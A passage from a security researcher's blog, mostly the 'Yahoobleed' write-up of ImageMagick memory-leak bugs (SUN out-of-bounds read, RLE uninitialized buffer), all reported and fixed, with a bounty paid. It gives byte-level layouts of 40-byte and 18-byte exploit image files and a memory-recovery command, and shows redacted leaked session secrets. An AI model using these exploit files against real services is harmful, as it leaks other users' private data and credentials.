<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> number_pixels=(MagickSizeType) image->columns*image->rows;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> if ((sun_info.type != RT_ENCODED) && (sun_info.depth >= 8) &&</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> ((number_pixels*((sun_info.depth+7)/8)) > sun_info.length))</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> ThrowReaderException(CorruptImageError,"ImproperImageHeader");</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> bytes_per_line=sun_info.width*sun_info.depth;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> sun_data=(unsigne</span><span style="font-family: "courier new" , "courier" , monospace;">d char *) AcquireQuantumMemory((size_t) sun_info.length,</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> sizeof(*sun_data));</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> count=(ssize_t) ReadBlob(image,sun_info.length,sun_data);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> if (count != (ssize_t) sun_info.length)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> ThrowReaderException(CorruptImageError,"UnableToReadImageData");</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> sun_pixels=sun_data;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> bytes_per_line=0;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> p=sun_pixels;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> if (sun_info.depth == 1)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> for (y=0; y < (ssize_t) image->rows; y++)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> if (q == (Quantum *) NULL)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> break;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> for (x=0; x < ((ssize_t) image->columns-7); x+=8)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> for (bit=7; bit >= 0; bit--)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> SetPixelIndex(image,(Quantum) ((*p) & (0x01 << bit) ? 0x00 : 0x01),</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> q);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> q+=GetPixelChannels(image);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> }</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> p++;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> }</span><br />
<br />
So in the case of an image with a depth of 1, we see a fairly straightforward problem:<br />
<ul>
<li>Let's say we have width=256, height=256, depth=1, length=8.</li>
<li>Image of depth 1 bypasses check of <span style="font-family: "courier new" , "courier" , monospace;">number_pixels</span> against <span style="font-family: "courier new" , "courier" , monospace;">sun_info.length</span>.</li>
<li><span style="font-family: "courier new" , "courier" , monospace;">sun_data</span> is allocated to be a buffer of 8 bytes, and 8 bytes are read from the input file.</li>
<li>Decode of 1 bit per pixel image proceeds. (256*256)/8 == 8192 bytes are required in <span style="font-family: "courier new" , "courier" , monospace;">sun_data</span> but only 8 are present.</li>
<li>Massive out-of-bounds read ensues; rendered image is based largely on out-of-bounds memory.</li>
</ul>
<b><br /></b>
<b>The exploit</b><br />
<todo: exploit="" file="" link="" to=""></todo:><br />
The exploit SUN file is only 40 bytes, so we might as well show a gratuitous screenshot of the file in a hex editor, and then dissect the exact meaning of each byte:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPeVZUCG8KdkGE0Vw9ShSFuMnBP2gRpoLGdBFLCqHrxbqbKbNVnL0_nfD2vJi6y4nhZAh0sVJJi5PjMwFEK_YntxVNM_s30w-SXS-FHBtz3wthzDAFefG-ZMsyC9dmH6e1-qeZC7STPjk9/s1600/oobread_sun_screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPeVZUCG8KdkGE0Vw9ShSFuMnBP2gRpoLGdBFLCqHrxbqbKbNVnL0_nfD2vJi6y4nhZAh0sVJJi5PjMwFEK_YntxVNM_s30w-SXS-FHBtz3wthzDAFefG-ZMsyC9dmH6e1-qeZC7STPjk9/s1600/oobread_sun_screenshot.png" /></a></div>
<br />
<span style="font-family: "courier new" , "courier" , monospace;">59 A6 6A 95: header</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">00 00 01 00 00 00 01 00: image dimensions 256 x 256</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">00 00 00 01: image depth 1 bit per pixel</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">00 00 00 08: image data length 8</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">00 00 00 01: image type 1: standard</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">00 00 00 00 00 00 00 00: map type none, length 0</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">41 41 41 41 41 41 41 41: 8 bytes of image data</span><br />
<br />
The most interesting variable we can twiddle in this exploit file is the image data length. As long as we keep it smaller than (256 * 256) / 8, we'll get the out of bounds read. But where will this out of bounds read start? It will start from the end of the allocation of the image data. By changing the size of the image data, we may end up occupying different relative locations within the heap area (perhaps more towards the beginning or end with certain sizes). This flexibility gives us a greater chance of being able to read something interesting.<br />
<br />
<b>Exfiltration</b><br />
<br />
Exfiltration is where the true usefulness of this exploit becomes apparent. As noted above in the vizualization section, the result of our exfiltration attempt is a JPEG compressed file. We actually get a greyscale JPEG image out of ImageMagick, since the 1 bit per pixel SUN file generates a black and white drawing. A greyscale JPEG is a good start for reliable exfiltration, because JPEG compression is designed to hack human perception. Human visualization is more sensitive to color brightness than it is to actual color, so color data is typically compressed more lossily than brightness data. (This is achieved via the <a href="https://en.wikipedia.org/wiki/YCbCr">YCbCr colorspace</a>.) But with greyscale JPEGs there is only brightness.<br />
<br />
But looking at the exfiltrated JPEG image above, we still see JPEG compression artifacts. Are we doomed? Actually, no. Since our SUN image was chosen to be a 1 bit per pixel (black or white) image, then we only need to preserve 1 bit of accurate entropy per pixel in the exfiltrated JPEG file! Although some of the white pixels are a little bit light grey instead of fully white, and some of the black pixels are a little bit dark grey instead of fully black, each pixel is still very close to black or white. I don't have a mathematical proof of course, but it appears that for the level of JPEG compression used by the Yahoo! servers, every pixel has its 1 bit of entropy intact. The most deviant pixels from white still appear to be about 85% white (i.e. very light grey) whereas the threshold for information loss would of course be 50% or below.<br />
<br />
We can attempt to recover raw bytes from the JPEG file with an ImageMagick conversion command like this:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">convert yahoo_file.jpg -threshold 50% -depth 1 -negate out.gray</span><br />
<br />
For the JPEG file at the top of this post, the resulting recovered original raw memory bytes are:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">0000000 d0 f0 75 9b 83 7f 00 00 50 33 76 9b 83 7f 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000020 31 00 00 00 00 00 00 00 2c 00 00 00 00 00 00 00</span><br />
<div>
<br /></div>
<div>
Those pointers, 0x00007f839b75f0d0 and 0x00007f839b763350, look spot on.</div>
<br />
<b>The strings and secrets</b><br />
<br />
So now that we have a reliable and likely byte perfect exfiltration primitive, what are some interesting strings in the memory space of the Yahoo! thumbnail server? With appropriate redactions representing long high entropy strings,<br />
<br />
<b style="background-color: red;">SSLCOOKIE</b>: SSL=v=1&s=<span style="background-color: orange;">redacted</span>&kv=0<br />
<br />
<b style="background-color: red;">Yahoo-App-Auth</b>: v=1;a=yahoo.mobstor.client.mailtsusm2.prod;h=10.210.245.245;t=<span style="background-color: orange;">redacted</span>;k=4;s=<span style="background-color: orange;">redacted</span><br />
<br />
<b><span style="background-color: red;">https://dl-mail.ymail.com/ws/download/mailboxes</span>/</b>@.id==<span style="background-color: orange;">redacted</span>/messages/@.id==<span style="background-color: orange;">redacted</span>/content/parts/@.id==2/raw?appid=getattachment&token=<span style="background-color: orange;">redacted</span>&ymreqid=<span style="background-color: orange;">redacted</span><br />
<br />
Yeah, it's looking pretty serious.<br />
<br />
In terms of interesting strings other than session secrets, etc., what else did we see? Well, most usefully, there's some paths, error messages and versions strings that would appear to offer a <i>very</i> precise determination that indeed, ImageMagick is here and indeed, it is dangerously old:<br />
<br />
<span style="color: #38761d;">/usr/lib64/ImageMagick-6.8.9/modules-Q16/coders/sun.so</span><br />
<span style="color: #38761d;">ImageMagick 6.8.9-6 Q16 x86_64 2014-07-25 http://www.imagemagick.org</span><br />
<div>
<span style="color: #38761d;">unrecognized PerlMagick method</span></div>
<br />
Obviously, these strings made for a much more convincing bug report. Also note the PerlMagick reference. I'm not familiar with PerlMagick but perhaps PerlMagick leads to an in-process ImageMagick, which is why our out-of-bounds image data reads can read so much interesting stuff.<br />
<br />
<b>Conclusion</b><br />
<br />
This was fun. We found a leak that encoded only a small amount of data per JPEG compressed pixel returned to us, allowing us to reliably reconstruct original bytes of exfiltrated server memory.<br />
<br />
The combination of running an ImageMagick that is both old and also unrestricted in the enabled decoders is dangerous. The fix of retiring ImageMagick should take care of both those issues :)<br />
<br />
<br />Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com1tag:blogger.com,1999:blog-3024470480937744884.post-6445080727408505122017-05-18T21:28:00.000-07:002017-05-18T22:57:25.946-07:00*bleed continues: 18 byte file, $14k bounty, for leaking private Yahoo! Mail images<b>Overview</b><br />
<br />
*bleed attacks are hot right now. Most notably, there's been <a href="https://en.wikipedia.org/wiki/Heartbleed">Heartbleed</a> and <a href="https://en.wikipedia.org/wiki/Cloudbleed">Cloudbleed</a>. In both cases, out-of-bounds reads in server side code resulted in private server memory content being returned to clients. This leaked sensitive secrets from the server process' memory space, such as keys, tokens, cookies, etc. There was also a recent <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=992">client-side bleed in Microsoft's image libraries</a>, exposed through Internet Explorer. One of the reason *bleed attacks are interesting is that they are not affected by most sandboxing, and they are relatively easy to exploit.<br />
<br />
Presented here is Yahoobleed #1 (YB1), a way to slurp other users' private Yahoo! Mail image attachments from Yahoo servers.<br />
<br />
YB1 abuses an 0-day I found in the <a href="https://www.imagemagick.org/script/index.php">ImageMagick</a> image processing software. This vulnerability is now a so-called 1-day, because I promptly reported it to upstream ImageMagick and provided a 1-line patch to resolve the issue, which <a href="http://git.imagemagick.org/repos/ImageMagick/commit/1c358ffe0049f768dd49a8a889c1cbf99ac9849b">landed here</a>. You can refer to it as CESA-2017-0002.<br />
<br />
The previous *bleed vulnerabilities have typically been out-of-bounds reads, but this one is the use of uninitialized memory. An uninitialized image decode buffer is used as the basis for an image rendered back to the client. This leaks server side memory. This type of vulnerability is fairly stealthy compared to an out-of-bounds read because the server will never crash. However, the leaked secrets will be limited to those present in freed heap chunks.<br />
<br />
<b>Yahoo! response</b><br />
<br />
The Yahoo! response has been one of best I've seen. In order:<br />
<ol>
<li>They have a bug bounty program, which encourages and rewards security research and fosters positive hacker relations, etc.</li>
<li>Upon receiveing a bug, they serve a 90-day response deadline <i>on themselves</i>. This is very progressive and the polar opposite of e.g. Microsoft, who occasionally like to turn reasonable disclosure deadlines into a pointless fight.</li>
<li>And indeed the bug was fixed well within 90 days.</li>
<li>The communication was excellent, even when I was sending far too many ping requests.</li>
<li>The fix was particularly thorough: <b>ImageMagick was retired</b>.</li>
<li>A robust bounty of $14,000 was issued (for this combined with a similar issue, to be documented separately). $778 per byte -- lol!</li>
<li>I'm donating this reward to charity. Upon being asked about charitable matching, <b>Yahoo! accepted a suggestion to match (i.e. double) the reward to $28,000</b>.</li>
<li>:sunglasses_like_a_boss:</li>
</ol>
<b>Demos</b><br />
<br />
The attack vector for these demos was to attach the 18-byte exploit file (or a variant) as a Yahoo! Mail attachment, send it to myself, and then click on the image in the received mail to launch the image preview pane. The resulting JPEG image served to my browser is based on uninitialized, or previously freed, memory content.<br />
<br />
<u>The following three images have had entropy stripped from them via a variety of transforms. Originals have been destroyed</u>.<br />
<br />
In image #1, you can see the capital letter A inside a black circle. Imagine suddenly and unexpectedly seeing this in a returned image while investigating a vulnerability you expected to be boring! There are various possible reasons for the repeated nature of the recovered image -- assuming the original in-memory image does not consist of a repeated nature.<br />
<br />
Most obviously, the in-memory image dimensions probably don't match the dimensions of our uninitialized canvas, 1024x1024 in this particular case. Depending on how the in-memory image is stored, this will lead to repetition and / or offsetting as both seen here.<br />
<br />
Also, the in-memory image representation might not match the colorspace, colorspace channel order or alpha channel status (yes or no) of the uninitialized RLE decode canvas. The thumbnail decode and re-encode pipeline will leave all sorts of different in memory artifacts in the course of doing its job.<br />
<br />
Don't be in any doubt though: correct reconstruction of the original image would be possible, but that's a non-goal.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_rG4Rlp-pc4Fku5_G3wTiqs_Nx8OhApvr1JSopo9vbYPhtGTGtWIYS7KW5fEwsLkzdL6mR3845kqPbMM84AUm8GrujEM9Uj8fw2sJoOzp2lzcSVUxBiruP384vMsWEY6u5DFssQDrFtCq/s1600/yahoo_letter_a_anon.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_rG4Rlp-pc4Fku5_G3wTiqs_Nx8OhApvr1JSopo9vbYPhtGTGtWIYS7KW5fEwsLkzdL6mR3845kqPbMM84AUm8GrujEM9Uj8fw2sJoOzp2lzcSVUxBiruP384vMsWEY6u5DFssQDrFtCq/s1600/yahoo_letter_a_anon.jpg" /></a></div>
<br />
In image #2, you might still be able to make out the remains of a human face. Perhaps a forehead, perhaps a nose and even a forehead and cheekbone? Or maybe not, because of the stripping of entropy and transforms applied. But you can appreciate that at the time, seeing a random face was a shock and illustrated the severity of the leak. At that point, I ceased, desisted, destroyed all files based on uninitialized memory and reported the bug.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHsOG80UsqTTr8YNzwmuVTS-VMy5BGmdfBiFQ2FjPIBaY8Ch6RIkAteOst4skIM1Cv6mVAm5QnNtkEtJCQ1rXNtSI6ca8Sgw8bzIivaQgcWjrLtgotPh3wLr7_GOFViV9IaojmKBuHknn9/s1600/yahoo_leak_512_1_anonymized.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHsOG80UsqTTr8YNzwmuVTS-VMy5BGmdfBiFQ2FjPIBaY8Ch6RIkAteOst4skIM1Cv6mVAm5QnNtkEtJCQ1rXNtSI6ca8Sgw8bzIivaQgcWjrLtgotPh3wLr7_GOFViV9IaojmKBuHknn9/s400/yahoo_leak_512_1_anonymized.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
In image #3, the color has been left in because the image shows interesting vertical bands of magenta, cyan and yellow. What in-memory structure leads to this pattern? I have no idea. At first I was thinking some CMYK colorspace representation but I don't think that makes sense. JPEGs are typically coded in the <a href="https://en.wikipedia.org/wiki/YCbCr">YCbCr colorspace</a>, so perhaps a partially encoded or decoded JPEG is involved.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ2v7_A0QtAIa7eK_ehZQU1piKSPLQ94Pdh6zYyQDlbhsDj4RHi_vBF4r6iDzMjiyqNKZJWaOOe46KEpbCJeMz5giAUceT4035kNqkfla3qE3AcFP_W8mOmkkCfzcPB4EIGP9IpjD0bloq/s1600/yahoo_leak_cmy_bands.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQ2v7_A0QtAIa7eK_ehZQU1piKSPLQ94Pdh6zYyQDlbhsDj4RHi_vBF4r6iDzMjiyqNKZJWaOOe46KEpbCJeMz5giAUceT4035kNqkfla3qE3AcFP_W8mOmkkCfzcPB4EIGP9IpjD0bloq/s320/yahoo_leak_cmy_bands.jpg" width="320" /></a></div>
<br />
<br />
<b>The vulnerability</b><br />
<br />
The vulnerability exists in the obscure RLE (Utah Raster Toolkit Run Length Encoded) image format, which previously featured in my <a href="https://scarybeastsecurity.blogspot.com/2017/03/black-box-discovery-of-memory.html">blog post noting memory corruption in box.com</a>. The new ImageMagick 0-day is in this code snippet here, from <span style="font-family: "courier new" , "courier" , monospace;">coders/rle.c</span>:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;"> pixel_info_length=image->columns*image->rows*</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> MagickMax(number_planes_filled,4);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> if ((flags & 0x01) && !(flags & 0x02))</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> /*</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Set background color.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> */</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> p=pixels;</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> for (i=0; i < (ssize_t) number_pixels; i++)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> for (j=0; j < (ssize_t) (number_planes-1); j++)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> *p++=background_color[j];</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> *p++=0; /* initialize matte channel */</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> }</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> }</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> }</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> /*</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> Read runlength-encoded image.</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> */</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> do</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> {</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> switch (opcode & 0x3f)</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> opcode=ReadBlobByte(image);</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> } while (((opcode & 0x3f) != EOFOp) && (opcode != EOF));</span><br />
<br />
It's a tricky vulnerability to spot because of the abstraction and also because this is a vulnerability caused by the absence of a necessary line of code, not the presence of a buggy line of code. The logic is approximately:<br />
<ol>
<li>Allocate a suitably sized canvas for the image decode. Note that the <span style="font-family: "courier new" , "courier" , monospace;">GetVirtualMemoryBlob</span> call does NOT guarantee zero-filled memory, as you would expect if it were backed by <span style="font-family: "courier new" , "courier" , monospace;">mmap()</span>. It's just backed by <span style="font-family: "courier new" , "courier" , monospace;">malloc()</span>.</li>
<li>Depending on some image header flags, either initialize the canvas to a background color, or don't.</li>
<li>Iterate a loop of RLE protocol commands, which may be long or may be empty.</li>
<li>After this code snippet, the decoded canvas is handed back to the ImageMagick pipeline for whatever processing is underway.</li>
</ol>
<div>
As you can now see, the attacker could simply create an RLE image that has header flags that do not request canvas initialization, followed by an empty list of RLE protocol commands. This will result in an uninitialized canvas being used as the result of the image decode. Here's an RLE file that accomplishes just that. It's just 18 bytes!</div>
<div>
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-FUzHKFJc5CZYEhydRc7JBa1yVWoKhaSKAJK9Ky0LsK3O0W0W1CfEycc9BXvneY6Ti8lZJiRs8iuN8TeEywG5uiTqkms0_iDJ47NZU2DbC5G7P7EFqR6FWEEJgizjJdlakcFoexM7rM4c/s1600/rle_18_byte_file.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-FUzHKFJc5CZYEhydRc7JBa1yVWoKhaSKAJK9Ky0LsK3O0W0W1CfEycc9BXvneY6Ti8lZJiRs8iuN8TeEywG5uiTqkms0_iDJ47NZU2DbC5G7P7EFqR6FWEEJgizjJdlakcFoexM7rM4c/s1600/rle_18_byte_file.png" /></a></div>
<br />
And these 18 bytes parse as follows:<br />
<br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">52 CC: header</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">00 00 00 00: top, left at 0x0.</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">00 04 00 04: image dimensions 1024 x 1024</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">02: flags 0x02 (no background color)</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">01: 1 plane (i.e. grayscale image)</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">08: 8 bits per sample</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">00 00 00: no color maps, 0 colormap length, padding</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">07: end of image (a protocol command is consumed pre-loop)</span><br />
<span style="background-color: white; color: #222222; font-family: "courier new" , "courier" , monospace; font-size: 13.2px;">07: end of image (end the decode loop for real)</span><br />
<br />
There are a few bytes that are important for experimentation of exploitation: the number of planes (i.e. a choice between a greyscale vs. a color image), and the image dimensions, which determine the size of the unininitialized <span style="font-family: "courier new" , "courier" , monospace;">malloc()</span> chunk.<br />
<br />
<b>Exploitation</b><br />
<br />
Exploitation is an interesting discussion. Here are some of the factors that affect exploitation of this vulnerability, both generally and in the Yahoo! case specifically:<br />
<ul>
<li><u>Decoder lockdown</u>. Yahoo! did not appear to implement any form of whitelisting for only sane ImageMagick decoders. RLE is not a sane decoder on the modern web. Anyone using ImageMagick really needs to lock down the decoder list to just the ones needed.</li>
</ul>
<ul>
<li><u>Sandboxing</u>. As noted above, sandboxing doesn't have much of an effect on this vulnerability type. Although it doesn't make much difference, my best guess is that the server in question might be using Perl and PerlMagick, as well as handling various network traffic, suggesting that a tight sandbox policy is difficult without extensive refactoring.</li>
</ul>
<ul>
<li><u>Process isolation</u>. This is critical. *bleed bugs for most usages of ImageMagick are mostly harmless because it's typical to kick off e.g. a thumbnail request by launching the ImageMagick <span style="font-family: "courier new" , "courier" , monospace;">convert</span> binary, once per thumbnail request. This means that the process memory space of the exploited process is only likely to contain the attacker's image data, making exploitation much less interesting (but not irrelevant as we saw in my recent Box and DropBox blog posts).<br />The Yahoo! Mail process which is handling thumbnailing has an unusual property, though: <b>it appears to be long lived and to process images from a variety of different users</b>. Suddenly, a memory content leak is a very serious vulnerability.</li>
</ul>
<ul>
<li><u>Heap implementation</u>. The heap implementation used is significant. For the input RLE file decomposed above, the canvas allocation is 1024 x 1024 x 4, or 4MB. This is large allocation and for example, the default <span style="font-family: "courier new" , "courier" , monospace;">malloc()</span> tuning on Linux x86_64 leads to such a large allocation being satisfied by <span style="font-family: "courier new" , "courier" , monospace;">mmap()</span>, which zero-fills memory and will not lead to interesting memory content leakage! However, we definitely see leaked heap content with such a large allocation in the Yahoo! context, so a non-default heap setup is clearly in use. With our ability to leak heap content, we could likely fingerprint the exact heap implementation if we cared to do so. Who knows, maybe we'd find tcmalloc or jemalloc, both popular allocators with large service providers.</li>
</ul>
<ul>
<li><u>Thumbnail dimensions</u>. It's worth a brief note on thumbnail dimensions. If we're in a situation where our uninitialized canvas gets resized down to a smaller thumbnail, this would compress out detail from the original leaked memory content. This would spoil certain exploitation attempts. However, Yahoo! Mail's preview panel seems to display very large images (tested to 2048x2048) verbatim, so no worries here.</li>
</ul>
<ul>
<li><u>Thumbnail compression</u>. This one is interesting. Yahoo! Mail returns thumbnails and image previews as JPEG images. As we know, JPEG compression is lossy. This is not a particular issue if we're only interested in pulling image data out of Yahoo! servers. But if we're interested in looking at raw bytes of Yahoo! server memory, then lossy compression is losing us data.<br />As an example of this, I tried to extract concrete pointer values from memory dumps -- perhaps we want to remotely defeat ASLR? I used greyscale images because JPEG compresses color data more than it compresses intensity data. But still, with a 16-byte sized data exfiltration I see pointer values such as <span style="font-family: "courier new" , "courier" , monospace;">0x020081c5b0be476f</span> and <span style="font-family: "courier new" , "courier" , monospace;">0x00027c661ac2722a</span>. Hmm. You can see that these may be trying to be Linux x86_64 user space pointers (0x00007f....) but there's a lot of information loss there.<br />I think it would be possible to overcome this exfiltration problem. Most likely, there's some thumbnailing endpoint that returns (or can be asked to return with some URL parameter) lossless PNG images, which would do the trick. Or for the brave, mathematical modelling of JPEG compression??</li>
</ul>
<b><br /></b>
<b>Conclusions</b><br />
<br />
Broadly: in a world of decreasing memory corruption and increasing sandboxing, *bleed bugs provide a compelling option for easily stealing information from servers.<br />
<br />
On design: taking a long running process and linking in ImageMagick as a library has to be a discouraged design choice, as it takes bugs that might not be very serious and makes them very serious indeed. Limiting ImageMagick decoders to a minimal required set is a must for any processing of untrusted input.<br />
<br />
GraphicsMagick vs. ImageMagick, again. Well, well, look at this :) GraphicsMagick fixed this issue in March 2016, for the v1.3.24 release, tucked away <a href="http://hg.code.sf.net/p/graphicsmagick/code/diff/0a5b75e019b6/coders/rle.c">in a changeset</a> titled "Fix SourceForge bug #371 "out-of-bounds read in coders/rle.c:633:39" (see the second <span style="font-family: "courier new" , "courier" , monospace;">memset()</span>). This is another case where tons of vulnerabilities are being found and fixed in both GraphicsMagick and ImageMagick with little co-ordination. This seems like a waste of effort and a risk of 0-day (or is it 1-day?) exposure. It goes both ways: the RLE memory corruption I referenced in my previous blog post was only <a href="http://hg.code.sf.net/p/graphicsmagick/code/diff/c6a6ea253a35/coders/rle.c">fixed in GraphicsMagick in March 2016</a>, having been previously <a href="http://git.imagemagick.org/repos/ImageMagick/commit/7131d8ff451a1d5163e7e35b7a910df80cb54fab">fixed in ImageMagick in Dec 2014</a>.<br />
<br />
Linux distributions. This vulnerability is now 1-day in the sense that it is broadly unpatched by entities that repackage upstream ImageMagick, such as Linux distributions. (As a side note, it's worth noting that the RLE decoder in Ubuntu 16.04 LTS is totally borked due to a bogus check that can be seen <a href="https://github.com/ImageMagick/ImageMagick/commit/f739cf56af7383b13d8e7b39961c27948fa14876#diff-04a2246f61d47b9ede94e0648dac2f44">getting removed here</a>.)<br />
<br />
But most significantly for this conclusion, I wanted to highlight some questions about ecosystem responsibility.<br />
<u>Researcher responsibility</u>: what is a researcher's responsibility and where does it end? As a researcher who becomes aware of a software risk, I believe I have a responsibility to let the "owner" of that software immediately know about the issue and the fact that I think it's a security risk. Let's assume that the owner makes a fix in a reasonable time. Are we good now? Well, what about all the downstream usages (eventually cascading to end users) that don't yet have the fix? So is it my responsibility to go and find and harangue every cloud provider that is affected? No, probably not. We might let one or two providers with bounty programs know as a positive feedback for encouraging security research, but the broader problem remains.<br />
<u>Upstream vendor responsibility</u>: how should the upstream vendor respond to a security report other than identifying it (if not already clearly flagged) and fixing it promptly? Personally, I think there should be some form of notification in a well defined place (mailing list; web site announcement area; etc.) and the upstream vendor could also take the burden of getting the CVE.<br />
<u>Consumer responsibility</u>: what should consumers such as Yahoo!, Box, DropBox, Ubuntu, etc. do? Well, if the upstream vendor is doing a good job, the consumer security teams can all be subscribed to the same authoritative source and take action whenever a new announcement is made. (Probably less trivial than it sounds; both Box and Yahoo! appear to have been running old versions of ImageMagick with known vulnerabilities.)<br />
<br />Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com2tag:blogger.com,1999:blog-3024470480937744884.post-10778596724220296762017-05-17T16:13:00.001-07:002017-05-17T16:13:32.103-07:00Further hardening glibc malloc() against single byte overflows<b>Introduction</b><br />
<br />
Back in 2014, while at Project Zero, I <a href="https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html">exploited a buffer overflow of a single NUL byte in glibc</a>. Tavis Ormandy had found the interesting glibc vulnerability but there was skepticism in the Linux community that this was exploitable. The only thing to do was to write an exploit. (Was this really 3 years ago? How time flies!)<br />
<br />
